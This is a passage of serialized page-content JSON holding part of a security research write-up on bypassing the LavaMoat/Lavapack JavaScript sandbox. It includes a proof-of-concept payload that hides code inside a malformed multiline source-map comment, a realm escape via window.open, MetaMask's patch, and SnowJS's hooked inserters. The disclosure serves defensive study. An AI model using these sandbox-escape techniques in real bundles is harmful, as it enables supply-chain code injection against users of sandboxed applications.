convertSourceMap",{"type":23,"tag":314,"props":47923,"children":47924},{"style":338},[47925],{"type":28,"value":282},{"type":23,"tag":314,"props":47927,"children":47928},{"style":332},[47929],{"type":28,"value":47930},"fromSource",{"type":23,"tag":314,"props":47932,"children":47933},{"style":338},[47934],{"type":28,"value":341},{"type":23,"tag":314,"props":47936,"children":47937},{"style":360},[47938],{"type":28,"value":37263},{"type":23,"tag":314,"props":47940,"children":47941},{"style":338},[47942],{"type":28,"value":2414},{"type":23,"tag":314,"props":47944,"children":47945},{"class":316,"line":380},[47946],{"type":23,"tag":314,"props":47947,"children":47948},{"style":374},[47949],{"type":28,"value":47950}," // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":23,"tag":314,"props":47952,"children":47953},{"class":316,"line":1091},[47954,47958,47963,47967,47971,47975,47979,47983,47988],{"type":23,"tag":314,"props":47955,"children":47956},{"style":321},[47957],{"type":28,"value":35437},{"type":23,"tag":314,"props":47959,"children":47960},{"style":360},[47961],{"type":28,"value":47962}," maps",{"type":23,"tag":314,"props":47964,"children":47965},{"style":354},[47966],{"type":28,"value":1237},{"type":23,"tag":314,"props":47968,"children":47969},{"style":360},[47970],{"type":28,"value":47912},{"type":23,"tag":314,"props":47972,"children":47973},{"style":354},[47974],{"type":28,"value":13432},{"type":23,"tag":314,"props":47976,"children":47977},{"style":360},[47978],{"type":28,"value":47912},{"type":23,"tag":314,"props":47980,"children":47981},{"style":338},[47982],{"type":28,"value":282},{"type":23,"tag":314,"props":47984,"children":47985},{"style":332},[47986],{"type":28,"value":47987},"toObject",{"type":23,"tag":314,"props":47989,"children":47990},{"style":338},[47991],{"type":28,"value":6990},{"type":23,"tag":314,"props":47993,"children":47994},{"class":316,"line":1141},[47995,47999,48004,48008,48012,48016,48021,48025,48029],{"type":23,"tag":314,"props":47996,"children":47997},{"style":321},[47998],{"type":28,"value":35437},{"type":23,"tag":314,"props":48000,"children":48001},{"style":360},[48002],{"type":28,"value":48003}," code",{"type":23,"tag":314,"props":48005,"children":48006},{"style":354},[48007],{"type":28,"value":1237},{"type":23,"tag":314,"props":48009,"children":48010},{"style":360},[48011],{"type":28,"value":47921},{"type":23,"tag":314,"props":48013,"children":48014},{"style":338},[48015],{"type":28,"value":282},{"type":23,"tag":314,"props":48017,"children":48018},{"style":332},[48019],{"type":28,"value":48020},"removeComments",{"type":23,"tag":314,"props":48022,"children":48023},{"style":338},[48024],{"type":28,"value":341},{"type":23,"tag":314,"props":48026,"children":48027},{"style":360},[48028],{"type":28,"value":37263},{"type":23,"tag":314,"props":48030,"children":48031},{"style":338},[48032],{"type":28,"value":2414},{"type":23,"tag":314,"props":48034,"children":48035},{"class":316,"line":1173},[48036,48040,48044,48048,48052,48057],{"type":23,"tag":314,"props":48037,"children":48038},{"style":2284},[48039],{"type":28,"value":38446},{"type":23,"tag":314,"props":48041,"children":48042},{"style":338},[48043],{"type":28,"value":1242},{"type":23,"tag":314,"props":48045,"children":48046},{"style":360},[48047],{"type":28,"value":94},{"type":23,"tag":314,"props":48049,"children":48050},{"style":338},[48051],{"type":28,"value":778},{"type":23,"tag":314,"props":48053,"children":48054},{"style":360},[48055],{"type":28,"value":48056},"maps",{"type":23,"tag":314,"props":48058,"children":48059},{"style":338},[48060],{"type":28,"value":8845},{"type":23,"tag":314,"props":48062,"children":48063},{"class":316,"line":1208},[48064],{"type":23,"tag":314,"props":48065,"children":48066},{"style":338},[48067],{"type":28,"value":386},{"type":23,"tag":24,"props":48069,"children":48070},{},[48071,48073,48078,48080,48085],{"type":28,"value":48072},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":23,"tag":94,"props":48074,"children":48076},{"className":48075},[],[48077],{"type":28,"value":47515},{"type":28,"value":48079}," stage. Reviewing the ",{"type":23,"tag":94,"props":48081,"children":48083},{"className":48082},[],[48084],{"type":28,"value":47867},{"type":28,"value":48086}," code, we can see exactly how this happens.",{"type":23,"tag":304,"props":48088,"children":48090},{"className":30611,"code":48089,"language":30613,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n get: function getCommentRegex () {\n // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n }\n});\n\nexports.removeComments = function (src) {\n return src.replace(exports.commentRegex, '');\n};\n",[48091],{"type":23,"tag":94,"props":48092,"children":48093},{"__ignoreMap":7},[48094,48133,48159,48167,48381,48388,48395,48402,48437,48487],{"type":23,"tag":314,"props":48095,"children":48096},{"class":316,"line":317},[48097,48102,48106,48111,48115,48119,48123,48128],{"type":23,"tag":314,"props":48098,"children":48099},{"style":360},[48100],{"type":28,"value":48101},"Object",{"type":23,"tag":314,"props":48103,"children":48104},{"style":338},[48105],{"type":28,"value":282},{"type":23,"tag":314,"props":48107,"children":48108},{"style":332},[48109],{"type":28,"value":48110},"defineProperty",{"type":23,"tag":314,"props":48112,"children":48113},{"style":338},[48114],{"type":28,"value":341},{"type":23,"tag":314,"props":48116,"children":48117},{"style":2674},[48118],{"type":28,"value":37135},{"type":23,"tag":314,"props":48120,"children":48121},{"style":338},[48122],{"type":28,"value":778},{"type":23,"tag":314,"props":48124,"children":48125},{"style":1245},[48126],{"type":28,"value":48127},"'commentRegex'",{"type":23,"tag":314,"props":48129,"children":48130},{"style":338},[48131],{"type":28,"value":48132},", {\n",{"type":23,"tag":314,"props":48134,"children":48135},{"class":316,"line":370},[48136,48141,48145,48149,48154],{"type":23,"tag":314,"props":48137,"children":48138},{"style":332},[48139],{"type":28,"value":48140}," get",{"type":23,"tag":314,"props":48142,"children":48143},{"style":360},[48144],{"type":28,"value":3746},{"type":23,"tag":314,"props":48146,"children":48147},{"style":321},[48148],{"type":28,"value":37463},{"type":23,"tag":314,"props":48150,"children":48151},{"style":332},[48152],{"type":28,"value":48153}," getCommentRegex",{"type":23,"tag":314,"props":48155,"children":48156},{"style":338},[48157],{"type":28,"value":48158}," () {\n",{"type":23,"tag":314,"props":48160,"children":48161},{"class":316,"line":380},[48162],{"type":23,"tag":314,"props":48163,"children":48164},{"style":374},[48165],{"type":28,"value":48166}," // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":23,"tag":314,"props":48168,"children":48169},{"class":316,"line":1091},[48170,48174,48180,48185,48190,48195,48199,48204,48209,48214,48218,48222,48227,48232,48237,48242,48246,48250,48254,48259,48263,48268,48273,48278,48283,48287,48291,48295,48299,48303,48307,48311,48315,48320,48325,48329,48334,48339,48343,48347,48351,48355,48360,48364,48368,48372,48377],{"type":23,"tag":314,"props":48171,"children":48172},{"style":2284},[48173],{"type":28,"value":16228},{"type":23,"tag":314,"props":48175,"children":48177},{"style":48176},"--shiki-default:#D16969",[48178],{"type":28,"value":48179}," /",{"type":23,"tag":314,"props":48181,"children":48182},{"style":332},[48183],{"type":28,"value":48184},"^",{"type":23,"tag":314,"props":48186,"children":48187},{"style":48176},[48188],{"type":28,"value":48189},"\\s",{"type":23,"tag":314,"props":48191,"children":48192},{"style":47623},[48193],{"type":28,"value":48194},"*?\\/",{"type":23,"tag":314,"props":48196,"children":48197},{"style":1245},[48198],{"type":28,"value":1312},{"type":23,"tag":314,"props":48200,"children":48201},{"style":47623},[48202],{"type":28,"value":48203},"\\/\\*",{"type":23,"tag":314,"props":48205,"children":48206},{"style":1245},[48207],{"type":28,"value":48208},"][",{"type":23,"tag":314,"props":48210,"children":48211},{"style":48176},[48212],{"type":28,"value":48213},"@#",{"type":23,"tag":314,"props":48215,"children":48216},{"style":1245},[48217],{"type":28,"value":14653},{"type":23,"tag":314,"props":48219,"children":48220},{"style":48176},[48221],{"type":28,"value":48189},{"type":23,"tag":314,"props":48223,"children":48224},{"style":47623},[48225],{"type":28,"value":48226},"+?",{"type":23,"tag":314,"props":48228,"children":48229},{"style":48176},[48230],{"type":28,"value":48231},"sourceMappingURL=data:",{"type":23,"tag":314,"props":48233,"children":48234},{"style":1245},[48235],{"type":28,"value":48236},"(((?:",{"type":23,"tag":314,"props":48238,"children":48239},{"style":48176},[48240],{"type":28,"value":48241},"application",{"type":23,"tag":314,"props":48243,"children":48244},{"style":332},[48245],{"type":28,"value":9664},{"type":23,"tag":314,"props":48247,"children":48248},{"style":48176},[48249],{"type":28,"value":28},{"type":23,"tag":314,"props":48251,"children":48252},{"style":1245},[48253],{"type":28,"value":431},{"type":23,"tag":314,"props":48255,"children":48256},{"style":47623},[48257],{"type":28,"value":48258},"\\/",{"type":23,"tag":314,"props":48260,"children":48261},{"style":48176},[48262],{"type":28,"value":33246},{"type":23,"tag":314,"props":48264,"children":48265},{"style":1245},[48266],{"type":28,"value":48267},")(?:",{"type":23,"tag":314,"props":48269,"children":48270},{"style":48176},[48271],{"type":28,"value":48272},";charset=",{"type":23,"tag":314,"props":48274,"children":48275},{"style":1245},[48276],{"type":28,"value":48277},"([^",{"type":23,"tag":314,"props":48279,"children":48280},{"style":48176},[48281],{"type":28,"value":48282},";,",{"type":23,"tag":314,"props":48284,"children":48285},{"style":1245},[48286],{"type":28,"value":14653},{"type":23,"tag":314,"props":48288,"children":48289},{"style":47623},[48290],{"type":28,"value":48226},{"type":23,"tag":314,"props":48292,"children":48293},{"style":1245},[48294],{"type":28,"value":431},{"type":23,"tag":314,"props":48296,"children":48297},{"style":47623},[48298],{"type":28,"value":2409},{"type":23,"tag":314,"props":48300,"children":48301},{"style":1245},[48302],{"type":28,"value":431},{"type":23,"tag":314,"props":48304,"children":48305},{"style":47623},[48306],{"type":28,"value":2409},{"type":23,"tag":314,"props":48308,"children":48309},{"style":1245},[48310],{"type":28,"value":431},{"type":23,"tag":314,"props":48312,"children":48313},{"style":47623},[48314],{"type":28,"value":2409},{"type":23,"tag":314,"props":48316,"children":48317},{"style":1245},[48318],{"type":28,"value":48319},"(?:",{"type":23,"tag":314,"props":48321,"children":48322},{"style":48176},[48323],{"type":28,"value":48324},";",{"type":23,"tag":314,"props":48326,"children":48327},{"style":1245},[48328],{"type":28,"value":341},{"type":23,"tag":314,"props":48330,"children":48331},{"style":48176},[48332],{"type":28,"value":48333},"base64",{"type":23,"tag":314,"props":48335,"children":48336},{"style":1245},[48337],{"type":28,"value":48338},"))",{"type":23,"tag":314,"props":48340,"children":48341},{"style":47623},[48342],{"type":28,"value":2409},{"type":23,"tag":314,"props":48344,"children":48345},{"style":48176},[48346],{"type":28,"value":3379},{"type":23,"tag":314,"props":48348,"children":48349},{"style":1245},[48350],{"type":28,"value":341},{"type":23,"tag":314,"props":48352,"children":48353},{"style":48176},[48354],{"type":28,"value":282},{"type":23,"tag":314,"props":48356,"children":48357},{"style":47623},[48358],{"type":28,"value":48359},"*?",{"type":23,"tag":314,"props":48361,"children":48362},{"style":1245},[48363],{"type":28,"value":431},{"type":23,"tag":314,"props":48365,"children":48366},{"style":332},[48367],{"type":28,"value":9536},{"type":23,"tag":314,"props":48369,"children":48370},{"style":48176},[48371],{"type":28,"value":3835},{"type":23,"tag":314,"props":48373,"children":48374},{"style":321},[48375],{"type":28,"value":48376},"mg",{"type":23,"tag":314,"props":48378,"children":48379},{"style":338},[48380],{"type":28,"value":2278},{"type":23,"tag":314,"props":48382,"children":48383},{"class":316,"line":1141},[48384],{"type":23,"tag":314,"props":48385,"children":48386},{"style":338},[48387],{"type":28,"value":5126},{"type":23,"tag":314,"props":48389,"children":48390},{"class":316,"line":1173},[48391],{"type":23,"tag":314,"props":48392,"children":48393},{"style":338},[48394],{"type":28,"value":34587},{"type":23,"tag":314,"props":48396,"children":48397},{"class":316,"line":1208},[48398],{"type":23,"tag":314,"props":48399,"children":48400},{"emptyLinePlaceholder":18},[48401],{"type":28,"value":1088},{"type":23,"tag":314,"props":48403,"children":48404},{"class":316,"line":1216},[48405,48409,48413,48417,48421,48425,48429,48433],{"type":23,"tag":314,"props":48406,"children":48407},{"style":2674},[48408],{"type":28,"value":37135},{"type":23,"tag":314,"props":48410,"children":48411},{"style":338},[48412],{"type":28,"value":282},{"type":23,"tag":314,"props":48414,"children":48415},{"style":332},[48416],{"type":28,"value":48020},{"type":23,"tag":314,"props":48418,"children":48419},{"style":354},[48420],{"type":28,"value":1237},{"type":23,"tag":314,"props":48422,"children":48423},{"style":321},[48424],{"type":28,"value":37463},{"type":23,"tag":314,"props":48426,"children":48427},{"style":338},[48428],{"type":28,"value":2324},{"type":23,"tag":314,"props":48430,"children":48431},{"style":360},[48432],{"type":28,"value":31917},{"type":23,"tag":314,"props":48434,"children":48435},{"style":338},[48436],{"type":28,"value":367},{"type":23,"tag":314,"props":48438,"children":48439},{"class":316,"line":1301},[48440,48444,48448,48452,48457,48461,48465,48469,48474,48478,48483],{"type":23,"tag":314,"props":48441,"children":48442},{"style":2284},[48443],{"type":28,"value":38446},{"type":23,"tag":314,"props":48445,"children":48446},{"style":360},[48447],{"type":28,"value":47611},{"type":23,"tag":314,"props":48449,"children":48450},{"style":338},[48451],{"type":28,"value":282},{"type":23,"tag":314,"props":48453,"children":48454},{"style":332},[48455],{"type":28,"value":48456},"replace",{"type":23,"tag":314,"props":48458,"children":48459},{"style":338},[48460],{"type":28,"value":341},{"type":23,"tag":314,"props":48462,"children":48463},{"style":2674},[48464],{"type":28,"value":37135},{"type":23,"tag":314,"props":48466,"children":48467},{"style":338},[48468],{"type":28,"value":282},{"type":23,"tag":314,"props":48470,"children":48471},{"style":360},[48472],{"type":28,"value":48473},"commentRegex",{"type":23,"tag":314,"props":48475,"children":48476},{"style":338},[48477],{"type":28,"value":778},{"type":23,"tag":314,"props":48479,"children":48480},{"style":1245},[48481],{"type":28,"value":48482},"''",{"type":23,"tag":314,"props":48484,"children":48485},{"style":338},[48486],{"type":28,"value":1025},{"type":23,"tag":314,"props":48488,"children":48489},{"class":316,"line":1343},[48490],{"type":23,"tag":314,"props":48491,"children":48492},{"style":338},[48493],{"type":28,"value":1545},{"type":23,"tag":24,"props":48495,"children":48496},{},[48497,48499,48505],{"type":28,"value":48498},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":23,"tag":94,"props":48500,"children":48502},{"className":48501},[],[48503],{"type":28,"value":48504},"/*",{"type":28,"value":48506},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":23,"tag":837,"props":48508,"children":48510},{"id":48509},"the-bypass",[48511],{"type":28,"value":48512},"The Bypass",{"type":23,"tag":24,"props":48514,"children":48515},{},[48516,48518,48523,48525,48530],{"type":28,"value":48517},"By abusing the ",{"type":23,"tag":94,"props":48519,"children":48521},{"className":48520},[],[48522],{"type":28,"value":48020},{"type":28,"value":48524}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":23,"tag":94,"props":48526,"children":48528},{"className":48527},[],[48529],{"type":28,"value":47364},{"type":28,"value":48531}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":23,"tag":304,"props":48533,"children":48535},{"className":30611,"code":48534,"language":30613,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n package: \"xpl\",\n file: \"node_modules/xpl/index.js\",\n test: alert(document.domain),\n test1: () => { () => { () => { () => {\n\n/*\n*/\n",[48536],{"type":23,"tag":94,"props":48537,"children":48538},{"__ignoreMap":7},[48539,48547,48554,48562,48570,48578,48586,48594,48602,48609,48617],{"type":23,"tag":314,"props":48540,"children":48541},{"class":316,"line":317},[48542],{"type":23,"tag":314,"props":48543,"children":48544},{"style":374},[48545],{"type":28,"value":48546},"/*# sourceMappingURL=data:,{}\n",{"type":23,"tag":314,"props":48548,"children":48549},{"class":316,"line":370},[48550],{"type":23,"tag":314,"props":48551,"children":48552},{"emptyLinePlaceholder":18},[48553],{"type":28,"value":1088},{"type":23,"tag":314,"props":48555,"children":48556},{"class":316,"line":380},[48557],{"type":23,"tag":314,"props":48558,"children":48559},{"style":374},[48560],{"type":28,"value":48561},"}}}}\n",{"type":23,"tag":314,"props":48563,"children":48564},{"class":316,"line":1091},[48565],{"type":23,"tag":314,"props":48566,"children":48567},{"style":374},[48568],{"type":28,"value":48569},"}, {\n",{"type":23,"tag":314,"props":48571,"children":48572},{"class":316,"line":1141},[48573],{"type":23,"tag":314,"props":48574,"children":48575},{"style":374},[48576],{"type":28,"value":48577}," package: \"xpl\",\n",{"type":23,"tag":314,"props":48579,"children":48580},{"class":316,"line":1173},[48581],{"type":23,"tag":314,"props":48582,"children":48583},{"style":374},[48584],{"type":28,"value":48585}," file: \"node_modules/xpl/index.js\",\n",{"type":23,"tag":314,"props":48587,"children":48588},{"class":316,"line":1208},[48589],{"type":23,"tag":314,"props":48590,"children":48591},{"style":374},[48592],{"type":28,"value":48593}," test: alert(document.domain),\n",{"type":23,"tag":314,"props":48595,"children":48596},{"class":316,"line":1216},[48597],{"type":23,"tag":314,"props":48598,"children":48599},{"style":374},[48600],{"type":28,"value":48601}," test1: () => { () => { () => { () => {\n",{"type":23,"tag":314,"props":48603,"children":48604},{"class":316,"line":1301},[48605],{"type":23,"tag":314,"props":48606,"children":48607},{"emptyLinePlaceholder":18},[48608],{"type":28,"value":1088},{"type":23,"tag":314,"props":48610,"children":48611},{"class":316,"line":1343},[48612],{"type":23,"tag":314,"props":48613,"children":48614},{"style":374},[48615],{"type":28,"value":48616},"/*\n",{"type":23,"tag":314,"props":48618,"children":48619},{"class":316,"line":1351},[48620],{"type":23,"tag":314,"props":48621,"children":48622},{"style":374},[48623],{"type":28,"value":48624},"*/\n",{"type":23,"tag":24,"props":48626,"children":48627},{},[48628],{"type":28,"value":48629},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":23,"tag":837,"props":48631,"children":48633},{"id":48632},"lavapack-patch",[48634],{"type":28,"value":48635},"Lavapack Patch",{"type":23,"tag":24,"props":48637,"children":48638},{},[48639,48641,48647],{"type":28,"value":48640},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":23,"tag":94,"props":48642,"children":48644},{"className":48643},[],[48645],{"type":28,"value":48646},"assertValidJS",{"type":28,"value":48648},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":23,"tag":24,"props":48650,"children":48651},{},[48652,48654,48661],{"type":28,"value":48653},"The patch was introduced in commit ",{"type":23,"tag":31,"props":48655,"children":48658},{"href":48656,"rel":48657},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[35],[48659],{"type":28,"value":48660},"9c38cd4",{"type":28,"value":282},{"type":23,"tag":304,"props":48663,"children":48665},{"className":39608,"code":48664,"language":39610,"meta":7,"style":7},"+ function assertValidJS(code) {\n+ try {\n+ new Function(code)\n+ } catch (err) {\n+ throw new Error(`Invalid JavaScript: ${err.message}`)\n+ }\n+ }\n\n+ // additional layer of syntax checking independent of browserify\n+ assertValidJS(sourceMeta.code) \n\n",[48666],{"type":23,"tag":94,"props":48667,"children":48668},{"__ignoreMap":7},[48669,48677,48685,48693,48701,48709,48717,48725,48732,48740],{"type":23,"tag":314,"props":48670,"children":48671},{"class":316,"line":317},[48672],{"type":23,"tag":314,"props":48673,"children":48674},{"style":1054},[48675],{"type":28,"value":48676},"+ function assertValidJS(code) {\n",{"type":23,"tag":314,"props":48678,"children":48679},{"class":316,"line":370},[48680],{"type":23,"tag":314,"props":48681,"children":48682},{"style":1054},[48683],{"type":28,"value":48684},"+ try {\n",{"type":23,"tag":314,"props":48686,"children":48687},{"class":316,"line":380},[48688],{"type":23,"tag":314,"props":48689,"children":48690},{"style":1054},[48691],{"type":28,"value":48692},"+ new Function(code)\n",{"type":23,"tag":314,"props":48694,"children":48695},{"class":316,"line":1091},[48696],{"type":23,"tag":314,"props":48697,"children":48698},{"style":1054},[48699],{"type":28,"value":48700},"+ } catch (err) {\n",{"type":23,"tag":314,"props":48702,"children":48703},{"class":316,"line":1141},[48704],{"type":23,"tag":314,"props":48705,"children":48706},{"style":1054},[48707],{"type":28,"value":48708},"+ throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":23,"tag":314,"props":48710,"children":48711},{"class":316,"line":1173},[48712],{"type":23,"tag":314,"props":48713,"children":48714},{"style":1054},[48715],{"type":28,"value":48716},"+ }\n",{"type":23,"tag":314,"props":48718,"children":48719},{"class":316,"line":1208},[48720],{"type":23,"tag":314,"props":48721,"children":48722},{"style":1054},[48723],{"type":28,"value":48724},"+ }\n",{"type":23,"tag":314,"props":48726,"children":48727},{"class":316,"line":1216},[48728],{"type":23,"tag":314,"props":48729,"children":48730},{"emptyLinePlaceholder":18},[48731],{"type":28,"value":1088},{"type":23,"tag":314,"props":48733,"children":48734},{"class":316,"line":1301},[48735],{"type":23,"tag":314,"props":48736,"children":48737},{"style":1054},[48738],{"type":28,"value":48739},"+ // additional layer of syntax checking independent of browserify\n",{"type":23,"tag":314,"props":48741,"children":48742},{"class":316,"line":1343},[48743],{"type":23,"tag":314,"props":48744,"children":48745},{"style":1054},[48746],{"type":28,"value":48747},"+ assertValidJS(sourceMeta.code)\n",{"type":23,"tag":61,"props":48749,"children":48751},{"id":48750},"hacking-js-realms",[48752],{"type":28,"value":48753},"Hacking JS Realms",{"type":23,"tag":24,"props":48755,"children":48756},{},[48757,48759,48764],{"type":28,"value":48758},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":23,"tag":94,"props":48760,"children":48762},{"className":48761},[],[48763],{"type":28,"value":36666},{"type":28,"value":48765}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":23,"tag":304,"props":48767,"children":48769},{"className":30611,"code":48768,"language":30613,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[48770],{"type":23,"tag":94,"props":48771,"children":48772},{"__ignoreMap":7},[48773,48815],{"type":23,"tag":314,"props":48774,"children":48775},{"class":316,"line":317},[48776,48780,48785,48789,48793,48797,48802,48806,48811],{"type":23,"tag":314,"props":48777,"children":48778},{"style":321},[48779],{"type":28,"value":346},{"type":23,"tag":314,"props":48781,"children":48782},{"style":360},[48783],{"type":28,"value":48784}," w",{"type":23,"tag":314,"props":48786,"children":48787},{"style":354},[48788],{"type":28,"value":1237},{"type":23,"tag":314,"props":48790,"children":48791},{"style":360},[48792],{"type":28,"value":30656},{"type":23,"tag":314,"props":48794,"children":48795},{"style":338},[48796],{"type":28,"value":282},{"type":23,"tag":314,"props":48798,"children":48799},{"style":332},[48800],{"type":28,"value":48801},"open",{"type":23,"tag":314,"props":48803,"children":48804},{"style":338},[48805],{"type":28,"value":341},{"type":23,"tag":314,"props":48807,"children":48808},{"style":1245},[48809],{"type":28,"value":48810},"'/non_existent'",{"type":23,"tag":314,"props":48812,"children":48813},{"style":338},[48814],{"type":28,"value":1025},{"type":23,"tag":314,"props":48816,"children":48817},{"class":316,"line":370},[48818,48823,48827,48831,48835,48839,48843,48847],{"type":23,"tag":314,"props":48819,"children":48820},{"style":360},[48821],{"type":28,"value":48822},"w",{"type":23,"tag":314,"props":48824,"children":48825},{"style":338},[48826],{"type":28,"value":282},{"type":23,"tag":314,"props":48828,"children":48829},{"style":332},[48830],{"type":28,"value":31945},{"type":23,"tag":314,"props":48832,"children":48833},{"style":338},[48834],{"type":28,"value":341},{"type":23,"tag":314,"props":48836,"children":48837},{"style":360},[48838],{"type":28,"value":31955},{"type":23,"tag":314,"props":48840,"children":48841},{"style":338},[48842],{"type":28,"value":282},{"type":23,"tag":314,"props":48844,"children":48845},{"style":360},[48846],{"type":28,"value":31965},{"type":23,"tag":314,"props":48848,"children":48849},{"style":338},[48850],{"type":28,"value":2414},{"type":23,"tag":24,"props":48852,"children":48853},{},[48854,48856,48861],{"type":28,"value":48855},"This opens a new window with a new JS Realm (another ",{"type":23,"tag":94,"props":48857,"children":48859},{"className":48858},[],[48860],{"type":28,"value":36666},{"type":28,"value":48862}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":23,"tag":24,"props":48864,"children":48865},{},[48866,48868,48875],{"type":28,"value":48867},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":23,"tag":31,"props":48869,"children":48872},{"href":48870,"rel":48871},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[35],[48873],{"type":28,"value":48874},"Metamask implementation",{"type":28,"value":431},{"type":23,"tag":837,"props":48877,"children":48879},{"id":48878},"snowjs-attack-surface",[48880],{"type":28,"value":48881},"SnowJS Attack Surface",{"type":23,"tag":24,"props":48883,"children":48884},{},[48885],{"type":28,"value":48886},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":23,"tag":24,"props":48888,"children":48889},{},[48890,48892,48899],{"type":28,"value":48891},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":23,"tag":31,"props":48893,"children":48896},{"href":48894,"rel":48895},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[35],[48897],{"type":28,"value":48898},"hooked inserters",{"type":28,"value":48900}," functions:",{"type":23,"tag":304,"props":48902,"children":48904},{"className":30611,"code":48903,"language":30613,"meta":7,"style":7},"const map = {\n Range: ['insertNode'],\n DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n Node: ['appendChild', 'insertBefore', 'replaceChild'],\n Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n ShadowRoot: ['innerHTML'],\n HTMLIFrameElement: ['srcdoc'],\n};\n",[48905],{"type":23,"tag":94,"props":48906,"children":48907},{"__ignoreMap":7},[48908,48928,48949,48988,49042,49081,49180,49200,49221],{"type":23,"tag":314,"props":48909,"children":48910},{"class":316,"line":317},[48911,48915,48920,48924],{"type":23,"tag":314,"props":48912,"children":48913},{"style":321},[48914],{"type":28,"value":346},{"type":23,"tag":314,"props":48916,"children":48917},{"style":360},[48918],{"type":28,"value":48919}," map",{"type":23,"tag":314,"props":48921,"children":48922},{"style":354},[48923],{"type":28,"value":1237},{"type":23,"tag":314,"props":48925,"children":48926},{"style":338},[48927],{"type":28,"value":1449},{"type":23,"tag":314,"props":48929,"children":48930},{"class":316,"line":370},[48931,48936,48940,48945],{"type":23,"tag":314,"props":48932,"children":48933},{"style":360},[48934],{"type":28,"value":48935}," Range:",{"type":23,"tag":314,"props":48937,"children":48938},{"style":338},[48939],{"type":28,"value":22270},{"type":23,"tag":314,"props":48941,"children":48942},{"style":1245},[48943],{"type":28,"value":48944},"'insertNode'",{"type":23,"tag":314,"props":48946,"children":48947},{"style":338},[48948],{"type":28,"value":13510},{"type":23,"tag":314,"props":48950,"children":48951},{"class":316,"line":380},[48952,48957,48961,48966,48970,48975,48979,48984],{"type":23,"tag":314,"props":48953,"children":48954},{"style":360},[48955],{"type":28,"value":48956}," DocumentFragment:",{"type":23,"tag":314,"props":48958,"children":48959},{"style":338},[48960],{"type":28,"value":22270},{"type":23,"tag":314,"props":48962,"children":48963},{"style":1245},[48964],{"type":28,"value":48965},"'replaceChildren'",{"type":23,"tag":314,"props":48967,"children":48968},{"style":338},[48969],{"type":28,"value":778},{"type":23,"tag":314,"props":48971,"children":48972},{"style":1245},[48973],{"type":28,"value":48974},"'append'",{"type":23,"tag":314,"props":48976,"children":48977},{"style":338},[48978],{"type":28,"value":778},{"type":23,"tag":314,"props":48980,"children":48981},{"style":1245},[48982],{"type":28,"value":48983},"'prepend'",{"type":23,"tag":314,"props":48985,"children":48986},{"style":338},[48987],{"type":28,"value":13510},{"type":23,"tag":314,"props":48989,"children":48990},{"class":316,"line":1091},[48991,48996,49000,49004,49008,49012,49016,49020,49024,49029,49033,49038],{"type":23,"tag":314,"props":48992,"children":48993},{"style":360},[48994],{"type":28,"value":48995}," Document:",{"type":23,"tag":314,"props":48997,"children":48998},{"style":338},[48999],{"type":28,"value":22270},{"type":23,"tag":314,"props":49001,"children":49002},{"style":1245},[49003],{"type":28,"value":48965},{"type":23,"tag":314,"props":49005,"children":49006},{"style":338},[49007],{"type":28,"value":778},{"type":23,"tag":314,"props":49009,"children":49010},{"style":1245},[49011],{"type":28,"value":48974},{"type":23,"tag":314,"props":49013,"children":49014},{"style":338},[49015],{"type":28,"value":778},{"type":23,"tag":314,"props":49017,"children":49018},{"style":1245},[49019],{"type":28,"value":48983},{"type":23,"tag":314,"props":49021,"children":49022},{"style":338},[49023],{"type":28,"value":778},{"type":23,"tag":314,"props":49025,"children":49026},{"style":1245},[49027],{"type":28,"value":49028},"'write'",{"type":23,"tag":314,"props":49030,"children":49031},{"style":338},[49032],{"type":28,"value":778},{"type":23,"tag":314,"props":49034,"children":49035},{"style":1245},[49036],{"type":28,"value":49037},"'writeln'",{"type":23,"tag":314,"props":49039,"children":49040},{"style":338},[49041],{"type":28,"value":13510},{"type":23,"tag":314,"props":49043,"children":49044},{"class":316,"line":1141},[49045,49050,49054,49059,49063,49068,49072,49077],{"type":23,"tag":314,"props":49046,"children":49047},{"style":360},[49048],{"type":28,"value":49049}," 